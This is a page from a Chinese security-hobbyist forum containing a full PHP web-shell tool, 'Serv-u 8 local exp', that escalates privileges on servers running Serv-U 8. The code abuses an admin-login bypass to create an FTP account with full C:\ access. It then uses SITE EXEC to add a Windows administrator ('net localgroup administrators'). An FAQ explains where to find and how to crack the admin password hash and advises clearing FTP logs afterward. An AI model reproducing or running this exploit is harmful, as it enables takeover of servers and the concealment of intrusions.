【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

<?
/*
serv-u 8 local exp ver 1.0
如果你在自己的服务器上发现这个文件，厄。。。那太遗憾了，别来找我。
这个文件到处都是，人人都能拿到。
*/
?>
<html>
<title>Serv-u 8 local exp ver 1.0</title>
<body>
<script>
function fun_showDiv(show)
{
document.getElementById(show).style.display="block";
}
</script>
<b>Serv-u 8 local exp ver 1.0</b>
<form id="form1" name="form1" method="post" action="?">
<p><a href="#" onclick="fun_showDiv('adminpassdiv')">管理员密码</a>
<input type="text" name="admin_pwd" value="" />
</p>
<p>直接提权！
<input type="submit" name="cmd" value="提权" />
<a href="#" onclick="fun_showDiv('QAdiv')">QA</a>
</p>
<pre>
<?
//Global var
$port=43958;
$host="127.0.0.1";
$sessionid="";
$getuserid="";
$ftpport=21;
$ftpuser="lalala_hacked";
$ftppwd=$_POST['admin_pwd'];
$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";
$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser." /add";
if($_POST['cmd']) {
//login-----------------------------------------
$sock_login = fsockopen($host, $port);
$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
$post_data_login['user'] = "";
$post_data_login['pword'] = $ftppwd;
$post_data_login['language'] = "zh%2CCN&";
$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
fputs($sock_login, $postStr);
$result = fread($sock_login, 1280);
$sessionid = getmidstr("<sessionid>","</sessionid>",$result);
if ($sessionid!="")
echo "登陆成功！";
fclose($sock_login);
//login-----------------------------------------
//getOrganizationId-------------------------------
$OrganizationId="";
$sock_OrganizationId = fsockopen($host, $port);
$URL='/Admin/ServerUsers.htm?Page=1';
$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
fputs($sock_OrganizationId, $postStr);
$resultOrganizationId="";
while(!feof($sock_OrganizationId)) {
$result = fread($sock_OrganizationId, 1024);
$resultOrganizationId=$resultOrganizationId.$result;
}
$strTmp = "OrganizationUsers.xml&ID=";
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
fclose($sock_OrganizationId);
if ($OrganizationId!="")
echo "获取OrganizationId".$OrganizationId."成功！";
//getOrganizationId-------------------------------
//getuserid---------------------------------------
$getuserid="";
$sock_getuserid = fsockopen($host, $port);
$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&Sync=546666666666666663";
$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
$post_data_getuserid="";
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
fputs($sock_getuserid, $postStr);
$result = fread($sock_getuserid, 1280);
$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);
fclose($sock_getuserid);
$getuserid = $result;
if ($getuserid!="")
echo "获取用户ID".$getuserid."成功！";
//getuserid---------------------------------------
//addpower-----------------------------------------
$sock_addpower = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
$post_data_addpower['Access'] = "7999";
$post_data_addpower['MaxSize'] = "0";
$post_data_addpower['Dir'] = "c:\\";
$post_data_addpower['undefined'] = "undefined";
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_addpower, $postStr,strlen($postStr));
$result = fread($sock_addpower, 1280);
fclose($sock_addpower);
echo "添加权限成功！";
//addpower-----------------------------------------
//adduser-----------------------------------------
$sock_adduser = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&Sync=1227071190250";
$post_data_adduser['LoginID'] = $ftpuser;
$post_data_adduser['FullName'] = "";
$post_data_adduser['Password'] = 'hahaha';
$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
$post_data_adduser['PasswordType'] = "0";
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
$post_data_adduser['AdminType'] = "";
$post_data_adduser['ComboHomeDir'] = "/c:";
$post_data_adduser['HomeDir'] = "/c:";
$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
$post_data_adduser['Type'] = "0";
$post_data_adduser['ExpiresOn'] = "0";
$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
$post_data_adduser['WebClientStartupMode'] = "";
$post_data_adduser['LockInHomeDir'] = "0";
$post_data_adduser['Enabled'] = "1";
$post_data_adduser['AlwaysAllowLogin'] = "1";
$post_data_adduser['Description'] = "";
$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
$post_data_adduser['ComboSignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessage'] = "";
$post_data_adduser['SignOnMessageText'] = "";
$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
$post_data_adduser['LimitType'] = "Connection";
$post_data_adduser['QuotaBytes'] = "0";
$post_data_adduser['Quota'] = "0";
$post_data_adduser['Access'] = "7999";
$post_data_adduser['MaxSize'] = "0";
$post_data_adduser['Dir'] = "%25HOME%25";
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_adduser, $postStr,strlen($postStr));
$result = fread($sock_adduser, 1280);
fclose($sock_adduser);
echo "添加用户成功！";
//adduser-----------------------------------------
//exec-------------------------------
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addUser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "执行".$exec_addUser."返回了$recvbuf";
fclose($sock_exec);
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addGroup."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "执行".$exec_addGroup."返回了$recvbuf";
fclose($sock_exec);
echo "好了，自己3389上去清理ftp用户日志吧！";
//exec-------------------------------
}
/** function createRequest
@port_post : administrator port $port=43958;
@host_post : host $host="127.0.0.1";
@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
@post_data_post : arraylist $post_data['user'] = "";...
@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
$data_string="";
if ($post_data_post!="")
{
foreach($post_data_post as $key=>$value)
{
$values[]="$key=".urlencode($value);
}
$data_string=implode("",$values);
}
$request.="POST ".$URL_post." HTTP/1.1";
$request.="Host: ".$host_post."";
$request.="Referer: ".$referer."";
$request.="Content-type: application/x-www-form-urlencoded";
$request.="Content-length: ".strlen($data_string)."";
$request.="User-Agent: Serv-U";
$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
$request.="Accept: */*";
$request.="Cache-Contro: no-cache";
$request.="UA-CPU: x86";
if ($sessionid!="")
{
$request.="Cookie: Session=".$sessionid."";
}
$request.="";
$request.=$data_string."";
return $request;
}
//getMidfor2str copy from internet
function getmidstr($L,$R,$str)
{
$int_l=strpos($str,$L);
$int_r=strpos($str,$R);
If ($int_l>-1&&$int_l>-1)
{
$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
return $str_put;
}
else
return "没找到需要的变量";
}
?>
</pre>
</form>
<div id="adminpassdiv" style="display:none">
<pre>
默认为空，如果密码为空，<b>填什么都能进去。</b>
如果修改过，管理员密码默认会在这里：
<b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>
文件中找到一个MD5密码值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为<b>kx</b>123456，去掉kx就是密码了。
你可以针对这个加密生成字典。
</pre>
</div>
<div id="QAdiv" style="display:none">
<pre>
<b>提权的原理？</b>
Su8的管理平台是http的，继承了su7的方式。
抓包，分析，发现了以下路程是可以利用的。
1，管理员从管理控制台打开web页面时，是不需要验证密码的。
2，管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3，管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。
4，管理员添加了用户的这个包和设置权限这个包，是分开的。
所以，我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆，exec命令。达到提权。
前面su7已经说了很多，这里简单的说下好了。
.....登陆什么的。
1，获取ID。
2，给这个id添加权限。
3，给这个id赋予用户名，密码，目录，权限。
4，登陆后执行系统命令。
<b>为啥我明明显示成功了，但是却提不上去？</b>
这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。
一般有以下几种情况：
1，可能是因为管理员密码不对。
参照管理员密码的连接。
2，可能是因为管理员限制了执行SITE EXEC。
有待程序修改，程序可以加一个让他不限制的功能。
3，可能是程序问题。
</pre>
</div>
</body>
</html>

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